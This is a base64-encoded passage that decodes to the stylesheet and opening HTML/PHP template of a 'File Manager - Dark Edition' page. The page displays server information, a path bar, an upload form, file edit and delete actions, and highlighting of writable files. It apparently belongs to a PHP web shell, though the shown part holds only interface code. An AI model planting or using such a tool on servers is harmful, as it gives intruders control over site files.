IC5oZWFkZXIgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgIzFlM2M3MiAwJSwgIzJhNTI5OCAxMDAlKTsNCiAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTsNCiAgICAgICAgICAgIHBhZGRpbmc6IDI1cHg7DQogICAgICAgICAgICBib3JkZXItYm90dG9tOiAycHggc29saWQgIzNhM2EzYTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmhlYWRlciBoMSB7DQogICAgICAgICAgICBmb250LXNpemU6IDI2cHg7DQogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAxMHB4Ow0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsNCiAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7DQogICAgICAgICAgICBnYXA6IDEwcHg7DQogICAgICAgICAgICB0ZXh0LXNoYWRvdzogMnB4IDJweCA0cHggcmdiYSgwLDAsMCwwLjUpOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuc3lzLWluZm8gew0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsNCiAgICAgICAgICAgIGdhcDogMjBweDsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsNCiAgICAgICAgICAgIG9wYWNpdHk6IDAuOTsNCiAgICAgICAgICAgIGZsZXgtd3JhcDogd3JhcDsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLnN5cy1pbmZvIHNwYW4gew0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsNCiAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7DQogICAgICAgICAgICBnYXA6IDVweDsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHJnYmEoMCwwLDAsMC4zKTsNCiAgICAgICAgICAgIHBhZGRpbmc6IDRweCAxMHB4Ow0KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNHB4Ow0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAubmF2IHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMyNTI1MjU7DQogICAgICAgICAgICBwYWRkaW5nOiAxNXB4IDI1cHg7DQogICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzNhM2EzYTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLnBhdGgtYmFyIHsNCiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7DQogICAgICAgICAgICBnYXA6IDEwcHg7DQogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAxNXB4Ow0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAucGF0aC1iYXIgaW5wdXQgew0KICAgICAgICAgICAgZmxleDogMTsNCiAgICAgICAgICAgIHBhZGRpbmc6IDEwcHggMTVweDsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMxYTFhMWE7DQogICAgICAgICAgICBib3JkZXI6IDJweCBzb2xpZCAjM2EzYTNhOw0KICAgICAgICAgICAgY29sb3I6ICNlMGUwZTA7DQogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA2cHg7DQogICAgICAgICAgICBmb250LXNpemU6IDE0cHg7DQogICAgICAgICAgICB0cmFuc2l0aW9uOiBib3JkZXItY29sb3IgMC4zczsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLnBhdGgtYmFyIGlucHV0OmZvY3VzIHsNCiAgICAgICAgICAgIG91dGxpbmU6IG5vbmU7DQogICAgICAgICAgICBib3JkZXItY29sb3I6ICM0YTllZmY7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMjIyOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuYnRuIHsNCiAgICAgICAgICAgIHBhZGRpbmc6IDEwcHggMjBweDsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IGxpbmVhci1ncmFkaWVudCgxMzVkZWcsICM0YTllZmYgMCUsICMyYTUyOTggMTAwJSk7DQogICAgICAgICAgICBjb2xvcjogd2hpdGU7DQogICAgICAgICAgICBib3JkZXI6IG5vbmU7DQogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA2cHg7DQogICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7DQogICAgICAgICAgICBmb250LXNpemU6IDE0cHg7DQogICAgICAgICAgICBmb250LXdlaWdodDogNTAwOw0KICAgICAgICAgICAgdHJhbnNpdGlvbjogdHJhbnNmb3JtIDAuMnMsIGJveC1zaGFkb3cgMC4yczsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmJ0bjpob3ZlciB7DQogICAgICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoLTJweCk7DQogICAgICAgICAgICBib3gtc2hhZG93OiAwIDVweCAxNXB4IHJnYmEoNzQsIDE1OCwgMjU1LCAwLjQpOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuYnRuLXN1Y2Nlc3Mgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgIzAwYjA5YiAwJSwgIzk2YzkzZCAxMDAlKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmJ0bi1kYW5nZXIgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgI2ZmNDE2YyAwJSwgI2ZmNGIyYiAxMDAlKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmJ0bi1zbWFsbCB7DQogICAgICAgICAgICBwYWRkaW5nOiA1cHggMTJweDsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTJweDsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLnRvb2xzIHsNCiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7DQogICAgICAgICAgICBnYXA6IDE1cHg7DQogICAgICAgICAgICBmbGV4LXdyYXA6IHdyYXA7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC50b29sLWdyb3VwIHsNCiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7DQogICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgICAgICAgICAgZ2FwOiAxMHB4Ow0KICAgICAgICAgICAgcGFkZGluZzogMTBweCAxNXB4Ow0KICAgICAgICAgICAgYmFja2dyb3VuZDogIzFhMWExYTsNCiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDZweDsNCiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICMzYTNhM2E7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC50b29sLWdyb3VwIGxhYmVsIHsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsNCiAgICAgICAgICAgIGNvbG9yOiAjYTBhMGEwOw0KICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDUwMDsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLnRvb2wtZ3JvdXAgaW5wdXRbdHlwZT0iZmlsZSJdLA0KICAgICAgICAudG9vbC1ncm91cCBpbnB1dFt0eXBlPSJ0ZXh0Il0gew0KICAgICAgICAgICAgcGFkZGluZzogNXB4IDEwcHg7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMjUyNTI1Ow0KICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgIzNhM2EzYTsNCiAgICAgICAgICAgIGNvbG9yOiAjZTBlMGUwOw0KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNHB4Ow0KICAgICAgICAgICAgZm9udC1zaXplOiAxM3B4Ow0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuY29udGVudCB7DQogICAgICAgICAgICBwYWRkaW5nOiAyNXB4Ow0KICAgICAgICAgICAgYmFja2dyb3VuZDogIzFhMWExYTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLm5vdGlmaWNhdGlvbiB7DQogICAgICAgICAgICBwYWRkaW5nOiAxMnB4IDIwcHg7DQogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAyMHB4Ow0KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNnB4Ow0KICAgICAgICAgICAgZm9udC1zaXplOiAxNHB4Ow0KICAgICAgICAgICAgYW5pbWF0aW9uOiBzbGlkZUluIDAuM3MgZWFzZTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLm5vdGlmaWNhdGlvbi5zdWNjZXNzIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHJnYmEoMCwgMjU1LCAwLCAwLjEpOw0KICAgICAgICAgICAgY29sb3I6ICMwMGZmMDA7DQogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCByZ2JhKDAsIDI1NSwgMCwgMC4zKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLm5vdGlmaWNhdGlvbi5lcnJvciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiByZ2JhKDI1NSwgNjUsIDEwOCwgMC4xKTsNCiAgICAgICAgICAgIGNvbG9yOiAjZmY0MTZjOw0KICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgcmdiYSgyNTUsIDY1LCAxMDgsIDAuMyk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIEBrZXlmcmFtZXMgc2xpZGVJbiB7DQogICAgICAgICAgICBmcm9tIHsgdHJhbnNmb3JtOiB0cmFuc2xhdGVZKC0yMHB4KTsgb3BhY2l0eTogMDsgfQ0KICAgICAgICAgICAgdG8geyB0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoMCk7IG9wYWNpdHk6IDE7IH0NCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmZpbGUtdGFibGUgew0KICAgICAgICAgICAgd2lkdGg6IDEwMCU7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMjUyNTI1Ow0KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogOHB4Ow0KICAgICAgICAgICAgb3ZlcmZsb3c6IGhpZGRlbjsNCiAgICAgICAgICAgIGJveC1zaGFkb3c6IDAgMnB4IDEwcHggcmdiYSgwLDAsMCwwLjUpOw0KICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgIzNhM2EzYTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmZpbGUtdGFibGUgdGhlYWQgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogIzFhMWExYTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmZpbGUtdGFibGUgdGggew0KICAgICAgICAgICAgcGFkZGluZzogMTVweDsNCiAgICAgICAgICAgIHRleHQtYWxpZ246IGxlZnQ7DQogICAgICAgICAgICBmb250LXNpemU6IDEzcHg7DQogICAgICAgICAgICBmb250LXdlaWdodDogNjAwOw0KICAgICAgICAgICAgY29sb3I6ICM0YTllZmY7DQogICAgICAgICAgICB0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlOw0KICAgICAgICAgICAgbGV0dGVyLXNwYWNpbmc6IDAuNXB4Ow0KICAgICAgICAgICAgYm9yZGVyLWJvdHRvbTogMnB4IHNvbGlkICMzYTNhM2E7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5maWxlLXRhYmxlIHRkIHsNCiAgICAgICAgICAgIHBhZGRpbmc6IDEycHggMTVweDsNCiAgICAgICAgICAgIGJvcmRlci10b3A6IDFweCBzb2xpZCAjMmEyYTJhOw0KICAgICAgICAgICAgZm9udC1zaXplOiAxNHB4Ow0KICAgICAgICAgICAgY29sb3I6ICNlMGUwZTA7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5maWxlLXRhYmxlIHRib2R5IHRyIHsNCiAgICAgICAgICAgIHRyYW5zaXRpb246IGJhY2tncm91bmQgMC4yczsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmZpbGUtdGFibGUgdGJvZHkgdHI6aG92ZXIgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogIzJhMmEyYTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmZpbGUtdGFibGUgdGJvZHkgdHIuZm9sZGVyLXJvdyB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiByZ2JhKDc0LCAxNTgsIDI1NSwgMC4wNSk7DQogICAgICAgICAgICBib3JkZXItbGVmdDogM3B4IHNvbGlkICM0YTllZmY7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5maWxlLXRhYmxlIHRib2R5IHRyLmZvbGRlci1yb3c6aG92ZXIgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogcmdiYSg3NCwgMTU4LCAyNTUsIDAuMSk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5maWxlLXRhYmxlIGEgew0KICAgICAgICAgICAgY29sb3I6ICM0YTllZmY7DQogICAgICAgICAgICB0ZXh0LWRlY29yYXRpb246IG5vbmU7DQogICAgICAgICAgICBmb250LXdlaWdodDogNTAwOw0KICAgICAgICAgICAgZGlzcGxheTogaW5saW5lLWZsZXg7DQogICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgICAgICAgICAgZ2FwOiA4cHg7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5maWxlLXRhYmxlIGE6aG92ZXIgew0KICAgICAgICAgICAgY29sb3I6ICM2YWI3ZmY7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5maWxlLWljb24gew0KICAgICAgICAgICAgd2lkdGg6IDIwcHg7DQogICAgICAgICAgICBoZWlnaHQ6IDIwcHg7DQogICAgICAgICAgICBkaXNwbGF5OiBpbmxpbmUtZmxleDsNCiAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7DQogICAgICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmZpbGUtYWN0aW9ucyB7DQogICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICAgICAgZ2FwOiA4cHg7DQogICAgICAgICAgICBmbGV4LXdyYXA6IHdyYXA7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5maWxlLWFjdGlvbnMgYSB7DQogICAgICAgICAgICBwYWRkaW5nOiA0cHggMTBweDsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHJnYmEoNzQsIDE1OCwgMjU1LCAwLjIpOw0KICAgICAgICAgICAgY29sb3I6ICM0YTllZmY7DQogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCByZ2JhKDc0LCAxNTgsIDI1NSwgMC4zKTsNCiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweDsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTJweDsNCiAgICAgICAgICAgIHRyYW5zaXRpb246IGFsbCAwLjJzOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuZmlsZS1hY3Rpb25zIGE6aG92ZXIgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogcmdiYSg3NCwgMTU4LCAyNTUsIDAuMyk7DQogICAgICAgICAgICBib3JkZXItY29sb3I6ICM0YTllZmY7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5maWxlLWFjdGlvbnMgYS5kZWxldGUgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogcmdiYSgyNTUsIDY1LCAxMDgsIDAuMik7DQogICAgICAgICAgICBjb2xvcjogI2ZmNDE2YzsNCiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogcmdiYSgyNTUsIDY1LCAxMDgsIDAuMyk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5maWxlLWFjdGlvbnMgYS5kZWxldGU6aG92ZXIgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogcmdiYSgyNTUsIDY1LCAxMDgsIDAuMyk7DQogICAgICAgICAgICBib3JkZXItY29sb3I6ICNmZjQxNmM7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC8qIFBlcm1pc3Npb24tYmFzZWQgY29sb3JzICovDQogICAgICAgIC5wZXJtLXdyaXRhYmxlIHsNCiAgICAgICAgICAgIGNvbG9yOiAjMDBmZjAwICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBmb250LXdlaWdodDogNjAwOw0KICAgICAgICAgICAgdGV4dC1zaGFkb3c6IDAgMCA1cHggcmdiYSgwLCAyNTUsIDAsIDAuNSk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5wZXJtLXJlYWRvbmx5IHsNCiAgICAgICAgICAgIGNvbG9yOiAjZmY0NDQ0ICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBmb250LXdlaWdodDogNjAwOw0KICAgICAgICAgICAgdGV4dC1zaGFkb3c6IDAgMCA1cHggcmdiYSgyNTUsIDY4LCA2OCwgMC41KTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLnBlcm0taW5kaWNhdG9yIHsNCiAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9jazsNCiAgICAgICAgICAgIHdpZHRoOiA4cHg7DQogICAgICAgICAgICBoZWlnaHQ6IDhweDsNCiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDUwJTsNCiAgICAgICAgICAgIG1hcmdpbi1yaWdodDogNXB4Ow0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAucGVybS1pbmRpY2F0b3Iud3JpdGFibGUgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogIzAwZmYwMDsNCiAgICAgICAgICAgIGJveC1zaGFkb3c6IDAgMCA1cHggIzAwZmYwMDsNCiAgICAgICAgICAgIGFuaW1hdGlvbjogcHVsc2UtZ3JlZW4gMnMgaW5maW5pdGU7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5wZXJtLWluZGljYXRvci5yZWFkb25seSB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZmY0NDQ0Ow0KICAgICAgICAgICAgYm94LXNoYWRvdzogMCAwIDVweCAjZmY0NDQ0Ow0KICAgICAgICAgICAgYW5pbWF0aW9uOiBwdWxzZS1yZWQgMnMgaW5maW5pdGU7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIEBrZXlmcmFtZXMgcHVsc2UtZ3JlZW4gew0KICAgICAgICAgICAgMCUsIDEwMCUgeyBvcGFjaXR5OiAxOyB9DQogICAgICAgICAgICA1MCUgeyBvcGFjaXR5OiAwLjU7IH0NCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgQGtleWZyYW1lcyBwdWxzZS1yZWQgew0KICAgICAgICAgICAgMCUsIDEwMCUgeyBvcGFjaXR5OiAxOyB9DQogICAgICAgICAgICA1MCUgeyBvcGFjaXR5OiAwLjU7IH0NCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmVkaXQtYXJlYSB7DQogICAgICAgICAgICB3aWR0aDogMTAwJTsNCiAgICAgICAgICAgIG1pbi1oZWlnaHQ6IDQwMHB4Ow0KICAgICAgICAgICAgcGFkZGluZzogMTVweDsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMwYTBhMGE7DQogICAgICAgICAgICBib3JkZXI6IDJweCBzb2xpZCAjM2EzYTNhOw0KICAgICAgICAgICAgY29sb3I6ICMwMGZmMDA7DQogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA2cHg7DQogICAgICAgICAgICBmb250LWZhbWlseTogJ0NvdXJpZXIgTmV3JywgbW9ub3NwYWNlOw0KICAgICAgICAgICAgZm9udC1zaXplOiAxNHB4Ow0KICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDEuNTsNCiAgICAgICAgICAgIHJlc2l6ZTogdmVydGljYWw7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5lZGl0LWFyZWE6Zm9jdXMgew0KICAgICAgICAgICAgb3V0bGluZTogbm9uZTsNCiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogIzRhOWVmZjsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMxMTE7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5tb2RhbCB7DQogICAgICAgICAgICBkaXNwbGF5OiBub25lOw0KICAgICAgICAgICAgcG9zaXRpb246IGZpeGVkOw0KICAgICAgICAgICAgdG9wOiAwOw0KICAgICAgICAgICAgbGVmdDogMDsNCiAgICAgICAgICAgIHdpZHRoOiAxMDAlOw0KICAgICAgICAgICAgaGVpZ2h0OiAxMDAlOw0KICAgICAgICAgICAgYmFja2dyb3VuZDogcmdiYSgwLDAsMCwwLjgpOw0KICAgICAgICAgICAgei1pbmRleDogMTAwMDsNCiAgICAgICAgICAgIGFuaW1hdGlvbjogZmFkZUluIDAuM3MgZWFzZTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLm1vZGFsLmFjdGl2ZSB7DQogICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgICAgIGp1c3RpZnktY29udGVudDogY2VudGVyOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICBAa2V5ZnJhbWVzIGZhZGVJbiB7DQogICAgICAgICAgICBmcm9tIHsgb3BhY2l0eTogMDsgfQ0KICAgICAgICAgICAgdG8geyBvcGFjaXR5OiAxOyB9DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5tb2RhbC1jb250ZW50IHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMyNTI1MjU7DQogICAgICAgICAgICBwYWRkaW5nOiAzMHB4Ow0KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMTJweDsNCiAgICAgICAgICAgIHdpZHRoOiA5MCU7DQogICAgICAgICAgICBtYXgtd2lkdGg6IDUwMHB4Ow0KICAgICAgICAgICAgYW5pbWF0aW9uOiBzbGlkZVVwIDAuM3MgZWFzZTsNCiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICMzYTNhM2E7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIEBrZXlmcmFtZXMgc2xpZGVVcCB7DQogICAgICAgICAgICBmcm9tIHsgdHJhbnNmb3JtOiB0cmFuc2xhdGVZKDUwcHgpOyBvcGFjaXR5OiAwOyB9DQogICAgICAgICAgICB0byB7IHRyYW5zZm9ybTogdHJhbnNsYXRlWSgwKTsgb3BhY2l0eTogMTsgfQ0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAubW9kYWwtaGVhZGVyIHsNCiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDIwcHg7DQogICAgICAgICAgICBmb250LXNpemU6IDIwcHg7DQogICAgICAgICAgICBmb250LXdlaWdodDogNjAwOw0KICAgICAgICAgICAgY29sb3I6ICM0YTllZmY7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5tb2RhbC1ib2R5IGlucHV0LA0KICAgICAgICAubW9kYWwtYm9keSB0ZXh0YXJlYSB7DQogICAgICAgICAgICB3aWR0aDogMTAwJTsNCiAgICAgICAgICAgIHBhZGRpbmc6IDEwcHg7DQogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAxNXB4Ow0KICAgICAgICAgICAgYmFja2dyb3VuZDogIzFhMWExYTsNCiAgICAgICAgICAgIGJvcmRlcjogMnB4IHNvbGlkICMzYTNhM2E7DQogICAgICAgICAgICBjb2xvcjogI2UwZTBlMDsNCiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDZweDsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTRweDsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLm1vZGFsLWJvZHkgdGV4dGFyZWEgew0KICAgICAgICAgICAgbWluLWhlaWdodDogMTUwcHg7DQogICAgICAgICAgICByZXNpemU6IHZlcnRpY2FsOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAubW9kYWwtZm9vdGVyIHsNCiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7DQogICAgICAgICAgICBnYXA6IDEwcHg7DQogICAgICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGZsZXgtZW5kOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuZW1wdHkgew0KICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOw0KICAgICAgICAgICAgcGFkZGluZzogNDBweDsNCiAgICAgICAgICAgIGNvbG9yOiAjNjY2Ow0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuc2VwYXJhdG9yLXJvdyB0ZCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMWExYTFhOw0KICAgICAgICAgICAgcGFkZGluZzogOHB4IDE1cHggIWltcG9ydGFudDsNCiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA2MDA7DQogICAgICAgICAgICBjb2xvcjogIzRhOWVmZjsNCiAgICAgICAgICAgIGJvcmRlci10b3A6IDJweCBzb2xpZCAjM2EzYTNhICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBib3JkZXItYm90dG9tOiAycHggc29saWQgIzNhM2EzYSAhaW1wb3J0YW50Ow0KICAgICAgICAgICAgdGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTsNCiAgICAgICAgICAgIGxldHRlci1zcGFjaW5nOiAxcHg7DQogICAgICAgICAgICBmb250LXNpemU6IDEycHg7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIEBtZWRpYSAobWF4LXdpZHRoOiA3NjhweCkgew0KICAgICAgICAgICAgLnRvb2xzIHsNCiAgICAgICAgICAgICAgICBmbGV4LWRpcmVjdGlvbjogY29sdW1uOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICAuZmlsZS10YWJsZSB7DQogICAgICAgICAgICAgICAgZm9udC1zaXplOiAxMnB4Ow0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICAuZmlsZS1hY3Rpb25zIHsNCiAgICAgICAgICAgICAgICBmbGV4LWRpcmVjdGlvbjogY29sdW1uOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICAuc3lzLWluZm8gew0KICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTFweDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIDwvc3R5bGU%2BDQo8L2hlYWQ%2BDQo8Ym9keT4NCiAgICA8ZGl2IGNsYXNzPSJjb250YWluZXIiPg0KICAgICAgICA8ZGl2IGNsYXNzPSJoZWFkZXIiPg0KICAgICAgICAgICAgPGgxPj8%2FIEZpbGUgTWFuYWdlciAtIERhcmsgRWRpdGlvbjwvaDE%2BDQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJzeXMtaW5mbyI%2BDQogICAgICAgICAgICAgICAgPD9waHAgZm9yZWFjaCgkc2VydmVySW5mbyBhcyAka2V5ID0%2BICR2YWx1ZSk6ID8%2BDQogICAgICAgICAgICAgICAgPHNwYW4%2BPHN0cm9uZz48P3BocCBlY2hvICRrZXk7ID8%2BOjwvc3Ryb25nPiA8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlKTsgPz48L3NwYW4%2BDQogICAgICAgICAgICAgICAgPD9waHAgZW5kZm9yZWFjaDsgPz4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICA8L2Rpdj4NCiAgICAgICAgDQogICAgICAgIDw%2FcGhwIGlmKCRub3RpZmljYXRpb24pOiA%2FPg0KICAgICAgICA8ZGl2IGNsYXNzPSJub3RpZmljYXRpb24gPD9waHAgZWNobyAkbm90aWZpY2F0aW9uWyd0eXBlJ107ID8%2BIj4NCiAgICAgICAgICAgIDw%2FcGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkbm90aWZpY2F0aW9uWyd0ZXh0J10pOyA%2FPg0KICAgICAgICA8L2Rpdj4NCiAgICAgICAgPD9waHAgZW5kaWY7ID8%2BDQogICAgICAgIA0KICAgICAgICA8ZGl2IGNsYXNzPSJuYXYiPg0KICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJnZXQiIGNsYXNzPSJwYXRoLWJhciI%2BDQogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InAiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGN1cnJlbnRQYXRoKTsgPz4iIHBsYWNlaG9sZGVyPSJFbnRlciBwYXRoLi4uIj4NCiAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biI%2BTmF2aWdhdGU8L2J1dHRvbj4NCiAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgPGRpdiBjbGFzcz0idG9vbHMiPg0KICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgY2xhc3M9InRvb2wtZ3JvdXAiPg0KICAgICAgICAgICAgICAgICAgICA8bGFiZWw%2BVXBsb2FkOjwvbGFiZWw%2BDQogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJ1cGxvYWQiIHJlcXVpcmVkPg0KICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tc21hbGwgYnRuLXN1Y2Nlc3MiPlVwbG9hZDwvYnV0dG9uPg0KICAg